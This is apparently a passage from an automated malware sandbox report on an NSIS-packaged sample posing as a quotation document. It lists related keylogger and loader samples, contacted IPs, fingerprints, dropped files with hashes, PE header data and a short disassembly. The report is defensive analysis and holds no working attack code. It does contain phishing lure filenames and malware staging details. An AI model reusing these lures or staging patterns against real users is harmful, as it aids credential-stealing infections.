	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://connexion-espacesclients.support/gkm/	Get hash	malicious	Unknown	Browse	149.154.167.220
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
fp2e7a.wpc.phicdn.net	629105847300XXX024.exe	Get hash	malicious	Snake Keylogger	Browse	192.229.221.95
	629105847300XXX024.exe	Get hash	malicious	Snake Keylogger	Browse	192.229.221.95
	Curri.lNK.lnk	Get hash	malicious	Unknown	Browse	192.229.221.95
	1099833039444.pdf.js	Get hash	malicious	Remcos	Browse	192.229.221.95
	aWrbKM6Fz5.js	Get hash	malicious	Unknown	Browse	192.229.221.95
	Payment advice note_pdf.exe	Get hash	malicious	FormBook	Browse	192.229.221.95
	1013911.js	Get hash	malicious	FormBook	Browse	192.229.221.95
	sd2.ps1	Get hash	malicious	Unknown	Browse	192.229.221.95
	1L8qjfD9J2.exe	Get hash	malicious	Njrat	Browse	192.229.221.95
	0EPErrYVv8.dll	Get hash	malicious	Unknown	Browse	192.229.221.95
reallyfreegeoip.org	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Ref#116670.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	#U00d6denmeyen Kredi Taksit Bilgileriniz.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://connexion-espacesclients.support/gkm/	Get hash	malicious	Unknown	Browse	149.154.167.220
	Pdf Reader.exe	Get hash	malicious	Stealerium	Browse	149.154.167.220
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
ORACLE-BMC-31898US	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	#U00d6denmeyen Kredi Taksit Bilgileriniz.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	HALKBANK EFT RECEIPT DATED 02.12.2024.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	#U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	RFQ-2309540_27112024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	swift.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
CLOUDFLARENETUS	YQ3PhY2Aeq.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.56.70
	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Ref#116670.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	Ref#60031796.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Ref#1550238.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse	188.114.96.6
	BuMdSP88Ze.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	uC8FY7Hvsx.xls	Get hash	malicious	Unknown	Browse	172.67.194.230

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	Ref#116670.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	Teklif Talebi- #U0130hale 14990_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	NEW90FL0OtSHAz.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	#U00d6denmeyen Kredi Taksit Bilgileriniz.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	P#U0142atno#U015b#U0107 8557899,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Ref#116670.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	Ref#60031796.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Ref#1550238.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	BuMdSP88Ze.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	RFQ 9-XTC-204-60THD.xlsx.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	SANTANDER%20AUDITORIA.scr.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Ref#1550238.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	YQ3PhY2Aeq.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.181.1 172.217.19.174
	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.1 172.217.19.174
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.1 172.217.19.174
	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	142.250.181.1 172.217.19.174
	Curri.lNK.lnk	Get hash	malicious	Unknown	Browse	142.250.181.1 172.217.19.174
	36244920cQPUT1.lNK.lnk	Get hash	malicious	Unknown	Browse	142.250.181.1 172.217.19.174
	1099833039444.pdf.js	Get hash	malicious	Remcos	Browse	142.250.181.1 172.217.19.174
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.181.1 172.217.19.174
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.181.1 172.217.19.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	CL714440147.exe	Get hash	malicious	GuLoader	Browse
	TKnBbCiX07.exe	Get hash	malicious	GuLoader	Browse
	________.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.801108840712148
Encrypted:	false
SSDEEP:	192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
MD5:	FC90DFB694D0E17B013D6F818BCE41B0
SHA1:	3243969886D640AF3BFA442728B9F0DFF9D5F5B0
SHA-256:	7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
SHA-512:	324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: REQUEST FOR QUOATION AND PRICES.exe, Detection: malicious, Browse Filename: IBAN payment confirmation.exe, Detection: malicious, Browse Filename: Bank Swift and SOA PRN0072003410853_pdf.exe, Detection: malicious, Browse Filename: WC10SCPMaX.exe, Detection: malicious, Browse Filename: PayeeAdvice_HK54912_R0038704_37504.exe, Detection: malicious, Browse Filename: CL714440147.exe, Detection: malicious, Browse Filename: TKnBbCiX07.exe, Detection: malicious, Browse Filename: ________.exe, Detection: malicious, Browse Filename: Snurrevoddenes.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso7D7B.tmp

Download File

Process:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
File Type:	data
Category:	dropped
Size (bytes):	1279115
Entropy (8bit):	3.5160672418992087
Encrypted:	false
SSDEEP:	6144:7EI8rRdBWtXH9WBTYSg+j9aqbdZYq1c3XAI50cO1Ovsgca25SNXxutuu9G389+Mp:f8rRdxZYqEX9w1AlNctUHkWpKJ
MD5:	54C5C9298E644EF95A649580A802E8A3
SHA1:	F51A41356335649B58D28C4D9E4F78C8431AEB15
SHA-256:	95813035B4D387B4F5B8A5D43D71808BC2AC345A5D472F3830287E535A5764FA
SHA-512:	88BB8E3B5BE3C82A947FC88A503DCC2FF325C6DD87CAB0E807DF886B559DDEA220492C7F86BC9FF2DDAAC593BC256E57CD35739C36E0A8A0C48C5AD51B4ECCFE
Malicious:	false
Reputation:	low
Preview:	.:......,.......,.......\.......0$.......9.......:............................................................u.........................R...................................................................................................................................................G...J...............h...............................................................g...............................................................j..............................................................................................................................._.......................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\Emalje.kap

Download File

Process:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
File Type:	data
Category:	dropped
Size (bytes):	161977
Entropy (8bit):	1.2465706431701635
Encrypted:	false
SSDEEP:	768:j91kr2E4uLB4rAvVSJUxZOKLuPYUIlh6njQqVK+P7T6r6hI4W7lD1jBCgUpo:94irAZug+TLg1cpo
MD5:	818D9B577C6A2CCB8C8D753C89B0AEED
SHA1:	1912E60E75B47E0AC0B0ACDB2B320F0B36D3CE22
SHA-256:	B53DFB245A8D5A0F0FAEEC7E8B4AE273522AC29FD29B33608F9BA7F9ADB90279
SHA-512:	91993AA2E3E2666A3945886101B2B670CD3B0D76CF3CFFF3684DCB310FE324A1C650FAB5D5D00B8CFA49B5A7713FE2DBBA6DC2D8BB8DAC7A169495E6694CE4C6
Malicious:	false
Reputation:	low
Preview:	................(.R.............B...........f....H...................................................5....................................5........m............................./................?................4...............................l..........................................U..........................................................#....................M..............................................................g...................................................l..................f....................?.........................._..........................................................................u......x....................l....................~.......................S...C.............................................................................................).................l......................................................................................................................b...k................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\Kanaliseringerne.Afb

Download File

Process:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
File Type:	data
Category:	dropped
Size (bytes):	125418
Entropy (8bit):	4.601746867247624
Encrypted:	false
SSDEEP:	1536:blC8yAsFPvs+GmbKWtHmXfWsAvI10hGL2reLheYtJZIn1F/8k:b4lP3GmDtu9+MftJZ+z
MD5:	90C6BC002A40806606D3088F83B26292
SHA1:	CE9EFF85BBF9F492693E59DA2EF135236F81C3EA
SHA-256:	8782E0715D16AB95EC667E245EB7F0D08B2F3947B1323681B46E24759CE3F25A
SHA-512:	889AA4D627C1E4B1B973D10F143D3AB828BE80EE5FBEE359D1B058780DC14225B7EA15344682DA556132F0F7BBD79823B19D22326B753C2931C45C4D890B2FD9
Malicious:	false
Preview:	.....^............^^^.sssss......````.]................Y..............%...=........\|\|\|........1.B.$$....................=........qqqq........h..t............;;;;.............&.'....p..............T.............}......##..GG............UUU..1111.......~..........-....MM..........................NN......................$$......d...........JJ.6666.uu...))))...............F..................6.A.............................>>>............................rr..~.....0......bb.........zzz........n...qqq.5.ff...............h....E.....vvvvv.i.........]].SS...W.........7...*.k......11..................{..zzz.....uu.........j......X..rrrr......;;.........xx.................l......................................:...............=...&&.........h.....................hh...............P.%.....F......`........................................DDD.........................::....;..%.........K......................J.........AA...................!!!!........ooooo..@................?.....+...........&..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\img2.jpg

Download File

Process:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 225x225, components 3
Category:	dropped
Size (bytes):	2929
Entropy (8bit):	7.418910042244289
Encrypted:	false
SSDEEP:	48:j2XBhBOaFxHfEaq1kk1YunCRbvwxhjAxnyHIvR4SnHP7oNLpLR8Fqhr:j2XBv9Fx2kkO7RihjlovpnHPCpaQ1
MD5:	49DAF4E74443D8502F3229468615185F
SHA1:	9BB41BF5F382EE315893366F559FA26D57A4CD5F
SHA-256:	E5EE495A89E55467DB6A396F012EDB6A71D2E762CFC7FC6846FE7259528BF168
SHA-512:	EE9ABC6A19215FED64584BA24736ECBA24139CD03A75530FF351C99A25628410472A28F4EE08E87CE1F75DC79396A2A9C1AC79C399720C320437BC18993B561A
Malicious:	false
Preview:	......JFIF...................................................( ..%...!1!%)+.....383-7(-.+...........+...+8+++-+-+-+--+--+7+---+7-7+-7-7++---++-+7--7-+7+-+..........."........................................E........................!.1AQq."a...2...BR....#3Cbr...S......4DUcs..................................................1!............?.................................................................................@...............@........'7.O\|.(....i.<..M.4....vZ...-T.,~.&../...m.:.6..oe.;WZ]m[..:..:\.6U...........ey....F..m.I...6..G..S.z4..>..1p...E~OG.fQD.............I....$"@...9.g..]d.Ao..!.f../.oH..}.6.INNRm..l..ngV..+G...b$V.N...k.....=.........IR.KoG.qrJ...c..)..N[W..z.....h.R..Tm......ME....M....E...9.OI=.roU..%.&..a1p...;.\S..\|..x..._U..L....w>...............A$...D....0s.F.)s.uy..\._7......DbE..z....r.E...r7\|.1..}=......./.a.r.NJJs.........+...&..,...9.wm..V.ddlx.....e.f..4T.x.y>\..n....7.tu......M.gq[.6.......>.N.#....kzw,..(.QJ*K.L.......... .

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\pinrail.whe

Download File

Process:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
File Type:	data
Category:	dropped
Size (bytes):	461378
Entropy (8bit):	1.252059381950645
Encrypted:	false
SSDEEP:	1536:s3tr+hilKd11tUzcxZg7SBobbR5FF7b7IvSog:sRVmQc3u9F7b76
MD5:	3AD2FE4EA13486258EADDD1E5940A6D7
SHA1:	06D0468A125D754D4534C182D79444DFB7A1CF61
SHA-256:	E4C5F20595C446D20C978CF7B486579BA2FFC17E64B940733B40C89DF4331319
SHA-512:	82328E01492BDB8B23555CB369279A5352B35E0B51A4A4AC88D9F9285BBDABA627FE01139B4F9669847252D5A59FC512B2463A364EFD5C33B83309D6A8985D59
Malicious:	false
Preview:	w......................j..........................p................................................-.......................;....................Y..........................1:....................................................................................G........B...............................................................................^.........................................................o.................'......................... .....................................F..................................................................................................................E...........................................97.....................................K...f.....r..........._...............h........+........................ ........./.............................d........m..........................b...................e.c......................................................................\...........5......t.....................b.................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope\unyouthfully.ske

Download File

Process:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
File Type:	data
Category:	dropped
Size (bytes):	225641
Entropy (8bit):	1.2362366155163755
Encrypted:	false
SSDEEP:	768:HcPiBl7QD/ad4B+etLBBF64vscOIBiMFYnfBc1TS/HVtHlY4bDzZkmNQyFY670Fn:QaxOPt/G9V4yf7P/zZkX00b/h
MD5:	94C4B93474D07658FCBD411A20E68532
SHA1:	66421117EB902B48D39A1514C88C868394085FCF
SHA-256:	50B1D7356F0CC22F2A9AE93A7CC9738C6BC0907724ACDB85F68F594333B706DC
SHA-512:	BC1C40FF5B9FD71590E9B3E71D7B58A46E8AFBE56DFBD22C39F5DC0952ACEDC96F2BC4D8428EA0BCD75D67BD32F2B095585925CD8141063801FB128EA46F7471
Malicious:	false
Preview:	..........................~................................................/........[...............................................R......................R....................................................{.....................................E.........................E.....................................................8...../...................................5.............................................K...........................*.....................................k...................\|.......=....................s....................................................................p...2...................................g.N................#................~......................................B..................................................J........................?............................{./.........................U................................z...........+..........................................................K..........................................A......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Udseenders.Kom36

Download File

Process:	C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe
File Type:	GTA audio index data (SDT)
Category:	dropped
Size (bytes):	275424
Entropy (8bit):	7.753678142112646
Encrypted:	false
SSDEEP:	6144:bWtXH9WBTYSg+j9aqbdZYq1c3XAI50cO1Ovsgca25SNXxutL:bZYqEX9w1AlNctL
MD5:	BA65B950990820D34F9394D97A103C16
SHA1:	351EBD587E2F4DD45EEE0B4A8CF61C870224AE73
SHA-256:	29B2AD788522D69334B01EFBC98F558BB9E16F668E828D5F4FF08FC6D8BCABEA
SHA-512:	535A6843302B080A3A5A0B7FD8AC4A8B65D02C8AC3C75F46F4AA34B59EE7DCF8856315FFC8BC1DE2D46CDD83275DD8130745A40F1DEFF594D13EF765B0665F9B
Malicious:	false
Preview:	.........n.............................................JJJ.................%............<.............II.......................8.....#...................[[.........MM.....RR..........................N.......9.........SS.gg.88888.????............................. .....Y.??....4.................i...........%......D...ss..zzzz.......................X..........................................K.........>.c....44444..............cc................h....E....:....zzz.u...LL..4....................:::......H..HH........XXX.bbb..]...............````.........................c....qqq................0....tt.{..........S........8.222...............w..???.(.H....t....................`..........;;;.........&&....!.................s............V....................hh......``........N.........h....55.--.4......J........B....AAA.............................SSS.........................3...........#..l....................zzz...........................................tt....................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.108685137872694
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Request for Quote and Collaboration Docs.exe
File size:	757'168 bytes
MD5:	1e5fbbef8f5ad057fc7b2210a2070e9b
SHA1:	f9246fe78392d446a5082f30e18e41aa5f63d825
SHA256:	405f0a54d76a3931ab40dd79b1119f906eb29ba1b09d5ddf64091136ca3e0344
SHA512:	fb623b30b386bad439a817ef49cd7937bb28d88aab07d591bea7ad957e326bf5cb0f835e59324ef5e7718c8f1c27287412426967911b6eb0f3ded9f0b4cec921
SSDEEP:	12288:xlYZmcRHO9ttIZ1/2l05p3yn9fN1GQQUzrpIRvbAz8GZTUIgXa9l218:UmcdO93IZ1xI4bU3TUFk
TLSH:	19F4E01F5B168446EE9416F2B8A3DE43A1F4FEBC216573452D62FE1780B6F703A4E089
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................`.........Z3.......p....@

File Icon


Icon Hash:	058cc0e474936126

Static PE Info

General

Entrypoint:	0x40335a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD79B [Sun May 11 20:03:39 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e221f4f7d36469d53810a4b5f9fc8966

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007FD2FCDBC50Ch
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007FD2FCDBC177h
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007FD2FCDBC165h
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007FD2FCDB965Ah
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007FD2FCDBBBB6h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007FD2FCDB971Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007FD2FCDB9659h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007FD2FCDB964Bh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5f000	0x43188	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e68	0x6000	2f6554958e1a5093777de617d6e0bffc	False	0.6566162109375	data	6.419811957742583	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e	False	0.4306640625	data	5.037511188789184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	9587277f9a9b39e2caf86eae07909d87	False	0.4733072916666667	data	3.757932017065988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x35000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5f000	0x43188	0x43200	ad79ab7bc0418c21ba04b90eb50d4a0c	False	0.18500494646182494	data	4.605797713668011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5f2b0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5f618	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.1810552711779152
RT_DIALOG	0xa1640	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0xa1788	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0xa18c8	0x100	data	English	United States	0.5234375
RT_DIALOG	0xa19c8	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0xa1ae8	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0xa1bb0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xa1c10	0x14	data	English	United States	1.1
RT_VERSION	0xa1c28	0x258	data	English	United States	0.5216666666666666
RT_MANIFEST	0xa1e80	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
